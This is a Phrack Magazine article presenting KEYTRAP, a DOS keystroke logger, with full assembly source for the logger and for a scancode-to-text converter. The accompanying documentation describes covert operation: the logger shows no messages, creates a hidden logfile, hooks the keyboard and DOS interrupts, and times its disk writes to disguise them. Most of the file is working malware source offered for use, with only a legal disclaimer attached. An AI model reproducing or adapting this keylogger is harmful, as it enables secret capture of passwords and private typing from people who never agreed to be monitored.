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==Phrack Magazine==
Volume Five, Issue Forty-Six, File 26 of 28
****************************************************************************
KEYTRAP v1.0 - Keyboard Key Logger
by Dcypher (Dcypher@aol.com)
-------------------------------------------------------------------------
THIS PROGRAM MAY NOT BE DISTRIBUTED IN ANY WAY THAT VIOLATES U.S. OR
FOREIGN LAW. THIS PROGRAM MUST NOT BE USED TO GAIN UNAUTHORIZED ACCESS
TO DATA AND IS NOT INTENDED TO HELP USERS TO VIOLATE THE LAW !
-------------------------------------------------------------------------
You may distributed UNMODIFIED copies of KEYTRAP freely, subject to the
above limitations, and provided all files are included in unmodified
form; KEYTRAP.EXE, KEYTRAP.DOC
-------------------------------------------------------------------------
The author disclaims ALL warranties relating to the program, whether
express or implied. In absolutely no event shall the author be liable
for any damage resulting from the use and/or misuse of this program.
-------------------------------------------------------------------------
WHAT IS KEYTRAP ?
~~~~~~~~~~~~~~~~~
KEYTRAP is a very effective keyboard key logger that will log
keyboard scancodes to a logfile for later conversion to ASCII
characters. Keytrap installs as a TSR, remaining in memory
until the computer is turned off.
CONVERT will convert the keyboard scancodes captured by Keytrap
to their respective keyboard (ASCII) characters.
Usage: KEYTRAP <dir\logfile> /A /B /C
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A - Maximum size of logfile
B - Number of keys to log per session
C - Number of minutes between each session
Keytrap is a command line program.
<dir\logfile> - You MUST specify a directory for the logfile.
If you don't specify a directory Keytrap will only look in the
current directory for the logfile. If the logfile is not found
in the current directory no writing will occur. Keytrap will
append the scancode data to the end of the file you specify.
A - The Maximum size of the logfile. This number is checked only
when Keytrap is installed. If the size of the logfile exceeds this
number, Keytrap will delete the logfile and create a new one.
B - This is the number of keys to log per session. Keytrap will
only check this number AFTER a write to the logfile. So if you
specify 50 keys, and Keytrap does not get a chance to write till
there are 100 keys in the buffer, then Keytrap will log 100 keys.
C - This is the number of minutes between each session. When Keytrap
reaches or exceeds the number of keys to log per session, it will
start a delay routine and check this number. You can't specify more
then 1440 minutes, the number of minutes in a day !
Example: KEYTRAP c:\logfile /20000 /200 /20
Keytrap will check "logfile" to see if it exceeds 20,000
bytes. If it does, Keytrap will delete the log file and then
create a new one. Keytrap will then install as a TSR program.
It will log approx 200 keys at a time with a delay of 20 minutes
between each session.
Usage: CONVERT logfile outfile
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
logfile: The file that contains the scancodes that Keytrap logged.
outfile: Specify an output file name.
Theres not too much to say here. This program just converts scancodes
from the logfile into their respective keyboard (ASCII) characters.
NOTES
~~~~~
Keytrap will not display ANY messages. Check the logfile and
the size of the logfile if your not sure Keytrap is working.
Keytrap will only make the logfile hidden if the logfile is
actually created by Keytrap or the maximum size of the logfile
is reached or exceeded. If you specify a file that already
exists then Keytrap will not change that files attributes and
will append all scancode data to the end of the file.
Keytrap will not crash if the logfile gets deleted while Keytrap
is in memory. It will just keep looking for the logfile so it can
write its buffer. A buffer write is not forced until the buffer
reaches 400 bytes. It will then try to write its buffer during
the next interrupt 21 call.
-------------------------------------------------------------------------
If you have any questions or need some help, e-mail me.
Below is my public pgp key, don't e-mail me without it !
Dcypher (Dcypher@aol.com)
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6
mQCNAi3iD5cAAAEEAMVJGdgCYzG5av0lLSjO7iXm64qsuk6v/dx5XcMoNmOHNUA3
+tzF0WuVPXuJ59mFxE3/rhQqyh8Mci0f4qT6TR7FfSb8vtzSkF5vW8cNUmQx8Qvf
B/YQZVmztNlWOPROAmT8ZHbsrNev2rgeYjouW3ZOUgA4RKBRYiCTuXD+VOlxAAUR
tBlEY3lwaGVyIDxEY3lwaGVyQGFvbC5jb20+
=w2RN
-----END PGP PUBLIC KEY BLOCK-----
*****************************************************************************
;
;
; KEYTRAP v1.0 - Keyboard Key Logger
; By Dcypher (Dcypher@aol.com)
;
; Usage: KEYTRAP <dir\logfile> /A /B /C
;
; A - Maximum size of log file.
; B - Number of keys to log per session.
; C - Minutes between each session.
;
;------------------------------------------------
;
.286 ; 286 or better
.model small ;
.code ;
org 100h ;
;
begin: jmp install ;
;
;================================================
;
db ' DCYPHER@AOL.COM / KEYTRAP V1.0 ' ; PLEASE DON'T REMOVE
;
buf db 401 dup (0) ; 400 byte buffer
bufptr dw 0 ; +1 for luck :)
;
hide db 0 ; save int21 function call
stimem dw 0 ; grab time when done
handle dw 0 ; logfile handle
control db 0 ; control which INT to use
done_flag db 0 ; session done flag
must_write db 0 ; must-write flag
write_amount dw 0 ; amount written to disk
using_21 db 0 ; already doing an int-21
;
old_9a_off dw 0 ;
old_9a_seg dw 0 ;
;
old_9b_off dw 0 ;
old_9b_seg dw 0 ;
;
old_21_off dw 0 ;
old_21_seg dw 0 ;
;
datasegm dw 0 ; save data-segment
;
delaym dw 0 ; delay, in minutes
mkeys dw 0 ; maximum number of keys
logH dw 0 ; log file size
logL dw 0 ; log file size
;
;==============================================================================
;
int_9A: pushf ;
pusha ;
push es ;
push ds ;
mov ds, datasegm ; we are here
;
cmp control, 1 ; use this one ?
je A91 ;
call pkey ; process key (scancode)
;
A91: pop ds ;
pop es ;
popa ;
popf ;
jmp dword ptr old_9a_off ;
;
;================================================
;
pkey: cmp done_flag, 1 ; completely done ?
je pk2 ;
cmp bufptr, 400 ; buffer limit reached ?
jae pk2 ;
;
in al, 60h ; get scancode
;
cmp al, 39h ; get downstroke and only
ja pk2 ; as far as spacebar
cmp al, 2Ah ;
je pk2 ; no shift
cmp al, 36h ;
je pk2 ; no shift
;
push 0 ;
pop es ;
mov ah, byte ptr es:[417h] ; shift status
test ah, 43h ; test for both shift keys
je pk1 ; and cap-lock active
;
add al, 80h ; show shift or cap-lock
pk1: mov di, bufptr ; in logfile
mov buf[di], al ; place scancode in buffer
inc di ;
mov bufptr, di ;
mov must_write, 1 ; try to write buffer
;
pk2: ret ;
;
;================================================
;
int_9B: pushf ;
pusha ;
push es ;
push ds ;
mov ds, datasegm ; we are here
;
cmp control, 0 ; use this one ?
je B91 ; (not really needed)
call pkey ; process a key (scancode)
;
B91: pop ds ;
pop es ;
popa ;
popf ;
jmp dword ptr old_9b_off ;
;
;==============================================================================
;
int_21: pushf ;
pusha ;
push es ;
push ds ;
mov ds, datasegm ; here we are
;
cmp ax, 0ffffh ; check if already installed
je D21 ;
;
cmp using_21, 1 ; might need to call an
je C21 ; int-21 here so jump if
mov using_21, 1 ; called from below
mov hide, ah ; save function # for hiding
;
call switch ; always control the int 9's
call timer ; always check restart timer
;
cmp done_flag, 1 ; completely done ?
je B21 ;
cmp must_write, 1 ; need to write ?
jne B21 ;
cmp bufptr, 400 ; push a write when buffer
jae A21 ; is full
;
cmp hide, 3Fh ; disk read
je A21 ; (hide buffer write)
cmp hide, 40h ; disk write
je A21 ;
jmp B21 ; can't hide, try another time
;
A21: call saveb ; write buffer
;
B21: mov using_21, 0 ; no int-21 calls anymore
C21: pop ds ;
pop es ;
popa ;
popf ;
jmp dword ptr old_21_off ;
;------------------------------------------------
D21: pop ds ; already installed !
pop es ;
popa ;
popf ;
mov ax, 1 ; show installed
iret ;
;
;==============================================================================
;
timer: cmp done_flag, 0 ; only check time when
je timerb ; session is complete !
;
mov ah, 2Ch ;
int 21h ; what's the time ?
mov al, ch ;
xor ah, ah ;
mov bx, 60 ;
mul bx ; multiply hours by 60
xor ch, ch ;
add ax, cx ; add in the minutes
;
mov bx, stimem ;
cmp ax, bx ; is time now same as
je timerb ; when session was completed
; if so, don't do anything
xor cx, cx ;
timer1: cmp bx, 1440 ; midnight then back to 0
jb timer2 ;
xor bx, bx ;
timer2: inc cx ; minutes counter
inc bx ;
cmp ax, bx ; count until time now
jne timer1 ;
;
cmp cx, delaym ;
jb timerb ; should we reset ?
;
mov done_flag, 0 ; reset / next session
timerb: ret ;
;
;------------------------------------------------
;
switch: mov ax, 3509h ;
int 21h ;
cmp bx, offset int_9A ; everything ok with 9A ?
jne sw1 ; check offset
mov control, 0 ; show who has control
ret ;
;
sw1: cmp control, 1 ; 9B already in use ?
je sw2 ; yes, don't do anything
mov ax, 3509h ;
int 21h ;
mov old_9b_seg, es ;
mov old_9b_off, bx ;
mov ax, 2509h ;
lea dx, int_9B ;
int 21h ; use 9B instead of 9A !
mov control, 1 ; show who has control
sw2: ret ;
;
;------------------------------------------------
;
saveb: mov ax, 3d01h ;
mov dx, 82h ;
int 21h ; open logfile, r/w
jc probw ;
mov handle, ax ;
mov bx, ax ;
mov ax, 4202h ;
xor cx, cx ;
xor dx, dx ;
int 21h ; point to eof
jc probw ;
mov ah, 40h ;
mov bx, handle ;
mov cx, bufptr ;
lea dx, buf ;
int 21h ; write buffer
jc probw ;
mov ah, 3Eh ;
mov bx, handle ;
int 21h ; close logfile
jc probw ;
;------------------------------------------------
mov cx, bufptr ; no problems writing
add write_amount, cx ; so add to written amount
;
mov cx, mkeys ; check number of keys logged
cmp write_amount, cx ; all done ?
jb donew ;
;
mov done_flag, 1 ; show session complete
mov write_amount, 0 ; written amount to 0
call gtime ; grab stop time [minutes]
;
donew: mov must_write, 0 ; no need to write anymore
mov bufptr, 0 ; buffer pointer back to 0
probw: ret ; try again another time
; (if problem writing)
;------------------------------------------------
;
gtime: mov ah, 2Ch ; DONE
int 21h ; grab time in minutes
mov al, ch ;
xor ah, ah ;
mov bx, 60 ;
mul bx ; multiply hours by 60
xor ch, ch ;
add ax, cx ; add in the minutes
mov stimem, ax ; start time in minutes
ret ;
;
;==============================================================================
;==============================================================================
;
install:mov bx, 80h ;
cmp byte ptr [bx], 0 ; any parameters ?
je bye ;
;
mov ax, 0ffffh ;
int 21h ; already installed ?
cmp ax, 1 ;
je bye ;
;
call conv ; convert command line numbers
jc bye ;
call clog ; check or create logfile
;
mov ax, 3509h ;
int 21h ;
mov old_9a_off, bx ; save old int 9
mov old_9a_seg, es ;
mov ah, 25h ;
lea dx, int_9A ;
int 21h ; hook only 9A to start
;
mov ax, 3521h ;
int 21h ;
mov old_21_off, bx ; save old int 21
mov old_21_seg, es ;
mov ah, 25h ;
lea dx, int_21 ;
int 21h ; point to new int 21
;
mov datasegm, ds ; save this data segment area
; for later use in the ISR's
mov bx, offset install ;
mov ax, 3100h ;
mov dx, bx ;
mov cl, 04h ;
shr dx, cl ;
inc dx ;
int 21h ; end / save above install
;
bye: mov ah, 4Ch ; no installation
int 21h ; just end
;
;==============================================================================
;
conv: push ds ; convert command line options
pop es ;
mov di, 81h ;
conv1: inc di ;
cmp byte ptr [di], 2fh ; point to first "/"
jnz conv1 ;
inc di ; point to first number
call mconv ; convert it
jc conv4 ; any problems ?
mov logH, dx ;
mov logL, cx ; save max logfile size
add cx, dx ;
cmp cx, 0 ; make sure not 0
je conv4 ;
;
dec di ;
conv2: inc di ;
cmp byte ptr [di], 2fh ; point to second "/"
jnz conv2 ;
inc di ; point to first number
call mconv ; convert it
jc conv4 ; any problems ?
cmp dx, 0 ; bigger then 65535 ?
ja conv4 ;
mov mkeys, cx ; save key limit
;
dec di ;
conv3: inc di ;
cmp byte ptr [di], 2fh ; point to third "/"
jnz conv3 ;
inc di ; point to first number
call mconv ; convert it
jc conv4 ; any problems ?
cmp dx, 0 ;
ja conv4 ; bigger then 65535 end
cmp cx, 1440 ;
ja conv4 ; bigger then 1440 end
mov delaym, cx ; save session delay time
clc ; show no problems
ret ;
conv4: stc ; show problem
ret ;
;
;------------------------------------------------
;
mconv: xor cx, cx ; main converter
mov dx, cx ; no comments here, all I
mov ah, ch ; know is that it works ! :)
cld ;
dec di ;
convl: inc di ;
mov al, es:[di] ; convert number at es:[di]
xor al, '0' ;
cmp al, 10 ; carry flag will be set
jae convD ; if theres a problem
shl cx, 1 ;
rcl dx, 1 ;
jc convD ;
mov bx, cx ;
mov si, dx ;
shl cx, 1 ;
rcl dx, 1 ;
jc convD ;
shl cx, 1 ;
rcl dx, 1 ;
jc convD ;
add cx, bx ;
adc dx, si ;
jc convD ;
add cl, al ;
adc ch, 0 ;
adc dx, 0 ;
jc convD ;
jmp convl ;
convD: ret ;
;
;------------------------------------------------
;
clog: mov bx, 82h ; point to logfile
null1: cmp byte ptr [bx], 20h ; find first space
je null2 ;
inc bx ;
jmp null1 ;
null2: mov byte ptr [bx], 0 ; replace space with 0
;
mov ax, 3D01h ;
mov dx, 82h ;
int 21h ; open the file
jc clog3 ;
mov handle, ax ; good open, save handle
;
mov ax, 4202h ;
mov bx, handle ;
xor cx, cx ;
xor dx, dx ;
int 21h ; mov pointer to eof
;
cmp logH, dx ; check size
ja clog4 ; size ok
cmp logH, dx ;
je clog1 ;
jmp clog2 ; must be below, not ok
clog1: cmp logL, ax ;
ja clog4 ; size ok
;
clog2: mov ax, 4301h ;
mov dx, 82h ;
xor cx, cx ;
int 21h ; change file mode
mov ah, 41h ;
mov dx, 82h ;
int 21h ; delete file
;
clog3: mov ah, 3Ch ; create new
mov cx, 02h ; (hidden)
mov dx, 82h ;
int 21h ;
mov handle, ax ;
;
clog4: mov bx, handle ; close logfile handle
mov ah, 3Eh ;
int 21h ;
ret ;
;
;==============================================================================
end begin
*****************************************************************************
;
;
; CONVERT v1.0 - Keytrap logfile converter
; By Dcypher@aol.com
;
; Usage: CONVERT logfile outfile
;
; logfile - Keytrap's scancode data (logfile)
; outfile - Specify an output file name
;
;
;----------------------------------------
;
.286 ;
.model small ;
.code ;
org 100h ;
;
start: jmp go ;
;
;----------------------------------------
;
inhandle dw 0 ;
inpointH dw 0 ;
inpointL dw 0 ;
loaded dw 0 ;
last db 0 ;
;
outhandle dw 0 ;
outoffset dw 0 ;
;
;----------------------------------------
;
table db 002h, '1' ; scan-code table
db 003h, '2' ;
db 004h, '3' ;
db 005h, '4' ;
db 006h, '5' ;
db 007h, '6' ;
db 008h, '7' ;
db 009h, '8' ;
db 00Ah, '9' ;
db 00Bh, '0' ;
; ;
db 082h, '!' ;
db 083h, '@' ;
db 084h, '#' ;
db 085h, '$' ;
db 086h, '%' ;
db 087h, '^' ;
db 088h, '&' ;
db 089h, '*' ;
db 08Ah, '(' ;
db 08Bh, ')' ;
;----------------------------------------
db 01Eh, 'a' ;
db 030h, 'b' ;
db 02Eh, 'c' ;
db 020h, 'd' ;
db 012h, 'e' ;
db 021h, 'f' ;
db 022h, 'g' ;
db 023h, 'h' ;
db 017h, 'i' ;
db 024h, 'j' ;
db 025h, 'k' ;
db 026h, 'l' ;
db 032h, 'm' ;
db 031h, 'n' ;
db 018h, 'o' ;
db 019h, 'p' ;
db 010h, 'q' ;
db 013h, 'r' ;
db 01Fh, 's' ;
db 014h, 't' ;
db 016h, 'u' ;
db 02Fh, 'v' ;
db 011h, 'w' ;
db 02Dh, 'x' ;
db 015h, 'y' ;
db 02Ch, 'z' ;
; ;
db 09Eh, 'A' ;
db 0B0h, 'B' ;
db 0AEh, 'C' ;
db 0A0h, 'D' ;
db 092h, 'E' ;
db 0A1h, 'F' ;
db 0A2h, 'G' ;
db 0A3h, 'H' ;
db 097h, 'I' ;
db 0A4h, 'J' ;
db 0A5h, 'K' ;
db 0A6h, 'L' ;
db 0B2h, 'M' ;
db 0B1h, 'N' ;
db 098h, 'O' ;
db 099h, 'P' ;
db 090h, 'Q' ;
db 093h, 'R' ;
db 09Fh, 'S' ;
db 094h, 'T' ;
db 096h, 'U' ;
db 0AFh, 'V' ;
db 091h, 'W' ;
db 0ADh, 'X' ;
db 095h, 'Y' ;
db 0ACh, 'Z' ;
;----------------------------------------
db 00Ch, '-' ;
db 08Ch, '_' ;
;
db 00Dh, '=' ;
db 08Dh, '+' ;
;
db 01Ah, '[' ;
db 09Ah, '{' ;
;
db 01Bh, ']' ;
db 09Bh, '}' ;
;
db 027h, ';' ;
db 0A7h, ':' ;
;
db 028h, 027h ; '
db 0A8h, '"' ;
;
db 033h, ',' ;
db 0B3h, '<' ;
;
db 034h, '.' ;
db 0B4h, '>' ;
;
db 035h, '/' ;
db 0B5h, '?' ;
;
db 02Bh, '\' ;
db 0ABh, '|' ;
;
db 037h, '*' ;
db 0B7h, '*' ;
;
db 029h, '`' ;
db 0A9h, '~' ;
;
;----------------------------------------
;
db 039h, 020h ; space
db 0B9h, 020h ; space with shift
;
db 00Eh, 011h ; backspace
db 08Eh, 011h ; backspace with shift
;
db 01Ch, 00Ah ; return
db 09Ch, 00Ah ; return with shift
;
db 0 ; End of Table
;
;==============================================================================
;
fprob: mov ah, 9 ;
lea dx, ferr ;
int 21h ;
jmp bye ;
;
prtuse: mov ah, 9 ;
lea dx, usage ;
int 21h ;
;
bye: mov ah, 4Ch ;
int 21h ;
;
;------------------------------------------------
;
go: mov ah, 9 ;
lea dx, namver ;
int 21h ;
;
mov bx, 80h ;
cmp byte ptr [bx], 0 ;
je prtuse ;
;
call null ;
call check ;
jc fprob ;
;
go1: call ldata ;
call conv ;
call sdata ;
cmp last, 1 ;
jne go1 ;
jmp bye ;
;
;------------------------------------------------
;
null: mov bx, 81h ;
null1: inc bx ;
cmp byte ptr [bx], 20h ;
jnz null1 ;
mov byte ptr [bx], 0 ;
;
mov outoffset, bx ;
inc word ptr [outoffset] ;
;
null2: inc bx ;
cmp byte ptr [bx], 0Dh ;
jnz null2 ;
mov byte ptr [bx], 0 ;
ret ;
;
;------------------------------------------------
;
check: mov ax, 3D00h ;
mov dx, 82h ;
int 21h ;
jc check2 ;
mov bx, ax ;
mov ah, 3Eh ;
int 21h ;
jc check2 ;
;
mov ah, 3Ch ;
xor cx, cx ;
mov dx, outoffset ;
int 21h ;
jc check2 ;
mov bx, ax ;
mov ah, 3Eh ;
int 21h ;
jc check2 ;
;
clc ;
check2: ret ;
;
;------------------------------------------------
;
ldata: mov ax, 3D00h ;
mov dx, 82h ;
int 21h ;
mov inhandle, ax ;
;
mov ax, 4200h ;
mov bx, inhandle ;
mov cx, inpointH ;
mov dx, inpointL ;
int 21h ;
;
mov ah, 3Fh ;
mov bx, inhandle ;
mov cx, 60000 ;
lea dx, eof ;
int 21h ;
mov loaded, ax ;
cmp ax, 60000 ;
je ldata2 ;
mov last, 1 ;
;
ldata2: mov ax, 4201h ;
mov bx, inhandle ;
xor cx, cx ;
xor dx, dx ;
int 21h ;
mov inpointH, dx ;
mov inpointL, ax ;
;
mov ah, 3Eh ;
mov bx, inhandle ;
int 21h ;
ret ;
;
;------------------------------------------------
;
conv: mov cx, loaded ;
lea si, eof ;
;
conv1: lea di, table ;
;
cmp cx, 0 ;
je conv6 ;
;
mov al, byte ptr [si] ;
conv2: mov ah, byte ptr [di] ;
cmp ah, 0 ;
je conv4 ;
cmp ah, al ;
je conv3 ;
add di, 2 ;
jmp conv2 ;
;
conv3: inc di ;
mov al, byte ptr [di] ;
mov byte ptr [si], al ;
dec cx ;
inc si ;
jmp conv1 ;
;
conv4: mov byte ptr [si], 20h ;
dec cx ;
inc si ;
jmp conv1 ;
;
conv6: ret ;
;
;------------------------------------------------
;
sdata: mov ax, 3D02h ;
mov dx, outoffset ;
int 21h ;
mov outhandle, ax ;
;
mov ax, 4202h ;
mov bx, outhandle ;
xor cx, cx ;
xor dx, dx ;
int 21h ;
;
mov ah, 40h ;
mov bx, outhandle ;
mov cx, loaded ;
lea dx, eof ;
int 21h ;
;
mov ah, 3Eh ;
mov bx, outhandle ;
int 21h ;
ret ;
;
;------------------------------------------------------------------------------
namver db 10,13
db 'CONVERT v1.0',10,13
db 'Keytrap logfile converter.',10,13
db 'By Dcypher (Dcypher@aol.com)',10,13
db 10,13,'$'
usage db 'Usage: CONVERT logfile outfile',10,13
db 10,13
db ' logfile - Keytrap',27h,'s scancode data.',10,13
db ' outfile - Specify an output file name.',10,13
db 10,13,'$'
ferr db 'WARNING: Problem with one of the files.',10,13
db 10,13,'$'
;------------------------------------------------------------------------------
eof db 0
end start
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